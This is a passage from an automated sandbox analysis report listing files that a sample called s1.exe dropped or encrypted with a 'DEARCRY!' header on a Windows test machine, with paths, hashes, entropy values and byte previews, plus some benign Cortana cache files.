                                                              Preview: DEARCRY!....W._J.5.*s}.8.V..@5....R.".+B.-o..$...W.Zp5j.k......Y.D$.7.5..-..hb...O..B...6.y._@[.E@...hA....?.'.=.>..Nx.......p...nZ.....=q.`P.Z..|.2*....s".E\..O.:.."F.D8.Q.R.b9~.X...]5.....ku_?G....zg....<,...9..0.p'%.(..^v.J.QH.........EY......yN...id(Y.c...... .........#......@.....|...FNA/..%4..8Y.`......=-".._...@.p..6.P.R.....N......A.......]....'..=.))..!c.......+..#c.ZS8...r.[.S.i0...j...........y"._..7............LMF......g.P~.bN...-..?.[.{)J%..8ib ..l.|...o.T.^........i.......0...i^.-.$...Q&.............' ..q..?....N...A%.@....+..Q.uF....B.:.D..l...&.....:.....UU....,z...s.K..............1.n..h..........,D..d%....G......R.0P..GH.....3..^.O.X3}......{.d..Hb..t...j{zE..U......7;.hN(..>...UY.>`..S.......c~.#N.~.7..0.5n.nL..!.h...4.>...J...9..{v..<.\P..n...JD.'.T.C..B......j....3J.y..G..jAj.o...MgS.V.&..._r...6.` .......~..*...q-...V....../...xr..k.Wd....L..."N.(..B...}.X.x....... .......6{...~vf..V~>i}...E.0>g.9...d."VU.%@J)Dde....8<. ...
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CapturePicker_cw5n1h2txyewy\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16384
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4534F12102D235344CF8DDA748F0CABF
                                                              SHA1:7DB67BACEEECB3A420BF37A7BECA4A45185F8F3C
                                                              SHA-256:1BD4DB450ABC8914C2FAC721CACE2704FF4C16028E6D07293154DAD289835694
                                                              SHA-512:7B4DACDBC6A2FCCDD3818EB41B7FA23EEEC51F333AF0E842D9185C7AE45EBA1623369B1CAA27B824CBA10C4CD6A2CDBF7F127AB2C6F7656EEDCE5FE25A0B84A2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CapturePicker_cw5n1h2txyewy\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16976
                                                              Entropy (8bit):7.989313238229184
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:41FC8CE16E378981400867B8F15BD997
                                                              SHA1:C735E2AE09B23E0782776B8FC0C177C5D4DC76B5
                                                              SHA-256:322B18B868012221EC7A8C2FAFD91BEBC1A58A2928386797771BE56FF83D5368
                                                              SHA-512:5978611ED60B191ED56413536AEB630FF0770665274E2580E2A3134C8D646696B09DAA528E6CFD90A3240A9017142F3E858B4FD51BF0CD7D0019AECC4E1E81DB
                                                              Malicious:false
                                                              Preview: DEARCRY!....=Q0..In[......2...I.5..2.....[5..............O.?.J....`...0.ee..R.0...{,..:y...0t....`...o..b.i!..K].Ju....a.WyR...jOXW..<1(...........~..b&t.F!.<..O}:.24.@y....pw.bm..~.F...A..Z...x/..%..z.\.f....9.7.l..V..M.~.r.$..:.;.M..oM....1}.{.dD..... .......Q.)Q,.F.r.(....J.b_...uk^..j.a$&.h....H.L.*!. .hp}.|..b.h.s@.....s.da,..U..G>.#.T....I.(F8........0..T"...g]........F.S.....L..).|...-:jd..s..g...i..f.`.......J.*S.m..........f.4&..4..WeL...Lt...y.....>.F..........2y\&^......+.PAE8.....)h..LT...E(./. ..l.B.l.!.....=...'1l......D.z...J...6.\om+f..)........F..9|m.X...A.68..#!.xB..3.-e.....J.*. [x@8`..cK*..t6;......X.IB0.7.@....Y;..jVc. .N].n..8%{...-V.M.B..>.p|.u..fq%.R-.K*%....Q..>.u..a1<.....;.y.\'.N...W{1..aQJ..Z...i.o:...C.\Xl..E.(..~ar.d...2..\...:.7Rz...<....E8..@...M.."....UW...........8...[.g.9.`.. ...k..8.~.H.].......0pB..v.7.U7|..^.A.?.RD+..).z[Z.6`.....%...4.....?.. w..s.<.../p,F;..._.OH.c.7.&..P.g....'Js.ut@.k
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.975694150113117
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8E560BFFA85E14B2E1C3BCB3F6B36E55
                                                              SHA1:6E781631A8ABBA0F651E5D23BD8B913AD9DFEA09
                                                              SHA-256:19E485A90F915F082F8238FDA6B2BD7DB8350466A4C9B8BC2402A9043D27CE61
                                                              SHA-512:9A00D081E624C933B741AAD74B5A991CD4A6E1D21B6131E840F8D3E4359583EB0E27B80B70D2E0A71D441DDBAFB04A852964B0D0D721A9224A1B311E992570FB
                                                              Malicious:false
                                                              Preview: DEARCRY!....T...`....S..&.s73.(...f$.6:...p.m.W...OE.TD.........Sk.[....N...r...=B..\]_..X.'.d)...e.D..X..>z.x.A.w...ZN.,.Z....kR8...Ez...#.._..&"..Wi[.......#{..j..3D.?....*........d..b.N.D.Nj.....g7uC..`....s.._...%.|.Uoa....b.lV..K.U.....{:.......+..../.-...... ......._GM..'..C.....kD\...C.j..z.;.y..$.....1..s||.faP.t..Aa/......[..K{.D~. C=.'T=..v<...(k...P._.."e_.f..a.....]-&..j%LC/OK..).,..G&9.*..m......a..x...}.....V..~..6....l....i......)............PI..%].P.../..}`(..`....q'.'..t....*.y.<....^..e...k...^5K0......l.WbK..i.:.....R...nRM...:4.fiTx../i.............*q.r...x.@f\.........kw.x.R.Wk3.......Hf..H<.<....0.........I.'.-~R..c...y..O.x[,./.....5....q...JbJ+.."-.e4.r.....D&WE....$l.......Vp.......#....U.@2...=....Q.x..A<.o.6$.._S-....a.....c.z^.7?..W..h...P.).T".0.3...&..+0...U>4.....+..Em...b.`......{..../.....T.*.s..] ...BT..'4....6....$0b.u...h?.r.B....7..t.Ax.....:.5k.(.0.G2....5...\......%`..A......$T.=....$..Yq.A$......J....
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\INetCache\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.191849027852839
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:EB4D3F57736942092C6BD4BB4002E756
                                                              SHA1:7F33FD60B041C0FBE592A15DB11A3AFB4593F3C7
                                                              SHA-256:E5D5721B821CAF560FBFEA559D44A78004DB02574FEA8C42ADD91539E1A994BF
                                                              SHA-512:0A583A5B6597058ACC0C538E31E11772525E1A5F838630A8CB2EB2B18386F0051213153BB9E72B6D801F2DD4BD8A5E5CCC4F98F5E8F9931C3A518740786D741C
                                                              Malicious:false
                                                              Preview: DEARCRY!.....(..<7....DZ@..nmH.;...{...:dx.r>.v. ...T...v.k|.9.. .c.."..O../8..a. S.q.H.i...}....u..G.76s..-.......*.Z.P.....@..X7J..*wOA....v..\i...0..-e.....wj.u...=.-J.b.p.[..=R$.w.x...afh#.K[UA.-.X.....f.'.Y........<u..mr...^.<.=....2<..\D...}'m...E..K.............."..|...\h+`.N.
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\INetCookies\ESE\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.145500514395633
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:239794C865EAFCCAB45ECE30CEA26601
                                                              SHA1:EFE18673E5B8FC008E71E2D8398F5F344B91BED2
                                                              SHA-256:2F99EFBBFDB82E1B0B24CEF13E3819D7243531382952337AD69072099148452C
                                                              SHA-512:528CCF07AD86A286ADCCBB0C8F00942508B9F3F4B7246BB6F56CA1E2D32D9CFE9AE46380E077B3D19113A5BB885C087F8B3B1FD7C62D50AECC1F118BA739BCFC
                                                              Malicious:false
                                                              Preview: DEARCRY!........k\%....x*=...U..4.[*)..x.$..T..........c@T...$.x[..P..;. .f...hS..=7.B@#.B.x.58l........+.~v..<ix.J...f...M1..N...y.O.C._I.W.\..%.-. ......^...R..Y#1...T.......A.P.....G.i(0<..U.1'{_]...3m0.6e.*....`Cs...j.$........\.]X.W.w.hB...:."......U.O.w..............9...xb.k.1W...)
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\Features\du.bin
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2152
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:DFF8E1A7325D97636A036A1A74B53CF4
                                                              SHA1:BDCE9D89F803B40810290A4A0BFF735343F9240E
                                                              SHA-256:936CB03155669EC6EBBEEED8710F4DA43467158D5227818D36B5E72D0F4072BC
                                                              SHA-512:DCDABA370618BD39F9D251251B7C5FA0DBB648BB0FCC2F7ADB473D0915ADD0DA4CB32D82F2ACCC829463A1B88D21C8F393E240E44BED084662EE89F6F5C43686
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\Features\du.bin.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2440
                                                              Entropy (8bit):7.9243873440116195
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E7ABA7E807533CE4756887DB5E2DD427
                                                              SHA1:778F5C5D03A686FA8B250CD429BAE4A7A32FEDE1
                                                              SHA-256:C27244DEDB255D340AC2598EE8CF60D06F3AA5483E5E2EF55AD3EBD04227D2BB
                                                              SHA-512:170FF7045D0FB72D8D520DD7428A0FB0E4A8496482FA27FA119B2AFDF358C528DCE42B26B923B1323D53C3D36ABF9D1D17C2B5521781E3620E4AD525E3C33269
                                                              Malicious:false
                                                              Preview: DEARCRY!....8..,..|.=..QS..l.}S...KD...~...[....qq..R...i....2M...&u....2Ka......H.G..j.Dy.{.b........,...P..+O..#.X..Lxh.`.G...yT..B8...r...@.x.+.6..W*.\mA..5....Bc..UMy.9.Y.f>..D..........N..../..d..%V.j:....h..j.d....x.G#)...."=Y..p_.Y.Oz.O.....6.....h.......o\..X.....^..^..=.......l....W=..8.l.11V....Tp...l..BQ....UAR..Y.7HE...<.D8......A.q.V..,....5^...P.jX..r.eA.Z[.}._g&9..o..T...........jLM'n.|.fv..K:.r..I,J....'......s..'j.Y}x!......L.b.q<./..eM&.34~..u/z4g...`.ZLBW..o..HL....r..R].T.../../............4.P......5..OU.Lm..kR..v.F.....i...S7....*..0.w.KWX...ME...#H...S..b..X5.v.$....u..v3.@..O.%.+m....o)i...E...d...\..Qk.I.a.d^%.x>.0..H.oZ.L.B..g...}...t..{......4..O."..C...20.;..q.E.&7..-..P&.L$...k[.O.e....G..i.....D.;....G.EU[...U.#(C..G..P ..z....^.+.]-x.h6........2..Pm!.....~s.u5}.5.LD..]7.9.,....Y...CV...b.`^...j.%Ts...V;0C..n...h.....w..0.....hZs. .!..;m...Y..T...,R.M<b.F...b9.QZ.S..)I.u.o..+....7..&.b.....fo..ih.
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.195904854052877
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:B5D37FE222264AEB8320D8D023830BAD
                                                              SHA1:93001C00B9899D90F6CA3EDD3083636FCC34DF42
                                                              SHA-256:50784E3E662AC48CB690F0263217AB6CC091D07B5AC08A7F56A168325754AF9B
                                                              SHA-512:9386228892016F62EF035037FFEA16674888036A9566E2A18FEF617037493FBF3203E756C5E2809DD17BF0EA0775F8B0ED8274E8AF136F8B642A2E0FB4BD9ABC
                                                              Malicious:false
                                                              Preview: DEARCRY!....n.mn....~.>.Y......:..^.i...h.{T..t..._.7ZXAV7U....R.gqtC{.2.b..K...}.^G.....c..<P.....\..r........4..../c..L..^.A.....h.K...e...._...W0.j%....>LR.Y...m=...".L..l=.).._9....\...z......g.v...s7..S....@iY)</...].8...t..u........:..].\.at+..............+...yM.)Z:....
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.157215939886129
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:6957609BBC126949DC48B3D94AE5E77F
                                                              SHA1:FBD63062652A732B14DB1D79915CDA71577730B7
                                                              SHA-256:54B96F5AF4AA5B5276BFA3719EFFFC773C40B6474DDDD0023F8FCEA59E5F6DE4
                                                              SHA-512:41EFD587E0A36CD664287BA6EB6E7998A83B5462EE67289365C09228CF0A8CC1677AFA04EF9EE48D58B5FA0FCB90C398ACECC3CDF2423D722DE6B088D56CA48E
                                                              Malicious:false
                                                              Preview: DEARCRY!....2"...H...}b...g..At0(..#M.l8..D.]......P.-.[.5r..Or]Qw...(.p}.....e.(p.s3G.).],k.?RG....3.}N....'.....X...n}..F..P...,4.v..7...&N..,.>H.c.y.f.........wQp}.D!R.....}..0....{u....j...=3,2._..B1..w)#.......[&W.O.y.B......2S...,.{....hY...cJ..(...................k.....a...e.
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):592
                                                              Entropy (8bit):7.495346354377496
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4E81CA462C0F44CEB1D8CAF98A838579
                                                              SHA1:A9005736BF6544D9434D6D81FE410E32E1EE6C08
                                                              SHA-256:E3D6A4E671D26F676A025B2D3564C7D0EF438ED20F30FA9EB8F7F8D291413E14
                                                              SHA-512:B9FE0C4D0E621D1EA71D88E40472D6D2519150DA988EDCDBC73843246C7ECFB4A37B52EE3A93B3C4BB26524B462AA89E55F7C408C75077E581892E62BEABA41F
                                                              Malicious:false
                                                              Preview: DEARCRY!....5N.O........`.n.7.q...@.,.../{.e7....l.0.j"".~m|.ai...t..).a...,....Q..d..b.F!L.........SF..2.Z,.......W..g....@.5..a%.0....$..v..G.0G..n~?.{.......Q......E[..>....=.l't..p<%{......'.M..(_t..5.5.@.O..>7..#.I.%.6$..Ksk...^`.nx...X..z.......e..............{..!Xo.z.. ..?..DEARCRY!........q...>......h3.x.a...a..q.=r..2v....=L.e...!....i0.Tl...4{S.%..........Ot..X..i.{W..j.........T*..f.&quf.Q0.~....5...Z.g.Q.B..J.v.K|.i.......k.X2s.d~....\..Zs.x...........h..dS..s9.0H.....o...vh..J......@ke~5].V.v.6J.)./....w@..X.Li..................a(B....Wf..
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\FYH862PL\-cZsBti431DEnyexEqRgH_6Vh3E.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:UTF-8 Unicode text, with very long lines, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):57418
                                                              Entropy (8bit):5.115734627931113
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:B8C9A25AC5C5CFFDBC7721E7A33573CF
                                                              SHA1:D830E8814D866781CE338B8218B87B1066AF3E06
                                                              SHA-256:AB0B50651ABD4CF85042498827D99C42508A4E73F742F5EF52D571A15B3658B6
                                                              SHA-512:21F4B9AF5DB0329E2063C8BFA60DF4B15237E760C9A56FFA8D3556AA021BB463AE5561B0E61CDC412907D4BDE301E4BDCA93ED397CED339941649B6A493C165F
                                                              Malicious:false
                                                              Preview: var __assign,__extends,__spreadArrays,WSB;(function(n){var t;(function(n){function t(){for(var t,r,u,n,f,e=[],i=0;i<arguments.length;i++)e[i]=arguments[i];for(t=[],r=0,u=e;r<u.length;r++)if(n=u[r],n)if(typeof n=="string")t.push(n);else for(f in n)n[f]&&t.push(f);return t.length>0?t.join(" "):null}function i(n){return ThresholdUtilities.getUrlParameter(location.search,"isTest")?n:undefined}n.ViewData={};n.classNames=t;n.whenTestHooks=i})(t=n.View||(n.View={}))})(WSB||(WSB={}));__extends=this&&this.__extends||function(){var n=function(t,i){return n=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)t.hasOwnProperty(i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function r(){this.constructor=t}n(t,i);t.prototype=i===null?Object.create(i):(r.prototype=i.prototype,new r)}}(),function(n){var t;(function(n){var t=function(n){function t(){return n!==null&&n.apply(this,arguments)||this}return __extends(t,n),t.prototype.componentDidMo
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\FYH862PL\41Ctwd2X9VNGNHVpdti2vTFozWw.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:ASCII text, with very long lines, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):3280
                                                              Entropy (8bit):5.029628776196898
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:65237D68849782412963C9B1A1DA22E5
                                                              SHA1:3490F341E17FEAA7FB56D942539C24C5FA54A30A
                                                              SHA-256:4B950875FDE265B75753C2A8BEC4588476A323036B38B360A3EDD2A22A106B49
                                                              SHA-512:FB18BFB43AF2BC6BFFE020AF039D7BCD74B7CE1823D62026F6B5F231E51E024240E2F8B6399716DDFED2EDDECA6302B43D982256ADE02026AA0A6052C35085DF
                                                              Malicious:false
                                                              Preview: var __extends=this&&this.__extends||function(){var n=function(t,i){return n=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)t.hasOwnProperty(i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function r(){this.constructor=t}n(t,i);t.prototype=i===null?Object.create(i):(r.prototype=i.prototype,new r)}}(),WSB;(function(n){var t;(function(n){var t=function(t){function i(){return t!==null&&t.apply(this,arguments)||this}return __extends(i,t),i.prototype.render=function(){if(!this.props.dataModel)return null;var t=this.props.dataModel,r=t.message,i=t.cancel,u=t.showSpinner;return React.createElement("div",{className:"snipSearchMessage"},u&&React.createElement(n.AnimatedLoader,null),React.createElement("div",{className:"primaryText loaderMessage"},r),i&&React.createElement("button",{className:"loaderButton",onClick:i},n.getLocString("Cancel")))},i}(React.Component);n.SnipSearchMessage=t})(t=n.View||(n.View={}))})(WSB||(WSB={}));__ex
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\FYH862PL\BBDBvk5AokRBwrox4FNOb3dTd1E[1].css
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:ASCII text, with very long lines, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):7671
                                                              Entropy (8bit):5.15245035345059
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A1F32F25C7C924B918EA54A86670D731
                                                              SHA1:F1BF7CB5ADDF0C4BCED58D661137A1F0ACD257C5
                                                              SHA-256:6B58339F9240E372FA046E985DA0D0C5A17B679F27FF3058D6EBD4CD515CA874
                                                              SHA-512:5ACEFCAB3062051BD538CCF57EBCBB0BC9FCF11C12768EC7559B2ADA84F871299CE2C93B2400807F362578AD2C0F31AFF5CFE925C2FB259A7FFD24CC498435ED
                                                              Malicious:false
                                                              Preview: body #fbpgdg{color:#000;font-family:'Segoe UI',Arial,Helvetica,Sans-Serif;font-style:normal;font-variant:normal;font-weight:normal;background-position:inherit;display:initial;cursor:pointer;line-height:15px}body{position:static}body[dir]{margin:0}#fbpgdg,#fbpgdg *{box-sizing:content-box}#fbpgdg h2{font-weight:bold;-webkit-margin-before:.83em;-webkit-margin-after:.83em;font-size:1.3em;line-height:15px}body[dir] #fbpgdg h2{margin:10px 0 10px 0}#fbpgdg h3{font-weight:bold;font-size:1.17em;display:block}#fbpgdg .fb-t-small{font-size:13px}#fbpgdg .fbctgcntsdk,#fbpgdg .container{-webkit-margin-after:0}body[dir] #fbpgdg .fbctgcntsdk,body[dir] #fbpgdg .container{margin-bottom:0;margin-top:10px}body[dir='ltr'] #fbpgdg .fbctgcntsdk,body[dir='ltr'] #fbpgdg .container{padding-left:0}body[dir='rtl'] #fbpgdg .fbctgcntsdk,body[dir='rtl'] #fbpgdg .container{padding-right:0}#fbpgdg .fbctgctlsdk{list-style:none;display:list-item}body[dir] #fbpgdg .fbctgctlsdk{margin:10px 0 10px 0}#fbpgdg a{text-decorati
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\FYH862PL\BQR--Mi6Hdug9aUgfjMzORag63E.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:empty
                                                              Category:dropped
                                                              Size (bytes):0
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D41D8CD98F00B204E9800998ECF8427E
                                                              SHA1:DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
                                                              SHA-256:E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
                                                              SHA-512:CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
                                                              Malicious:false
                                                              Preview:
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\FYH862PL\E1FvzbKmaRHmOqEzJ-mHoTOD7Ms.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:empty
                                                              Category:dropped
                                                              Size (bytes):0
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D41D8CD98F00B204E9800998ECF8427E
                                                              SHA1:DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
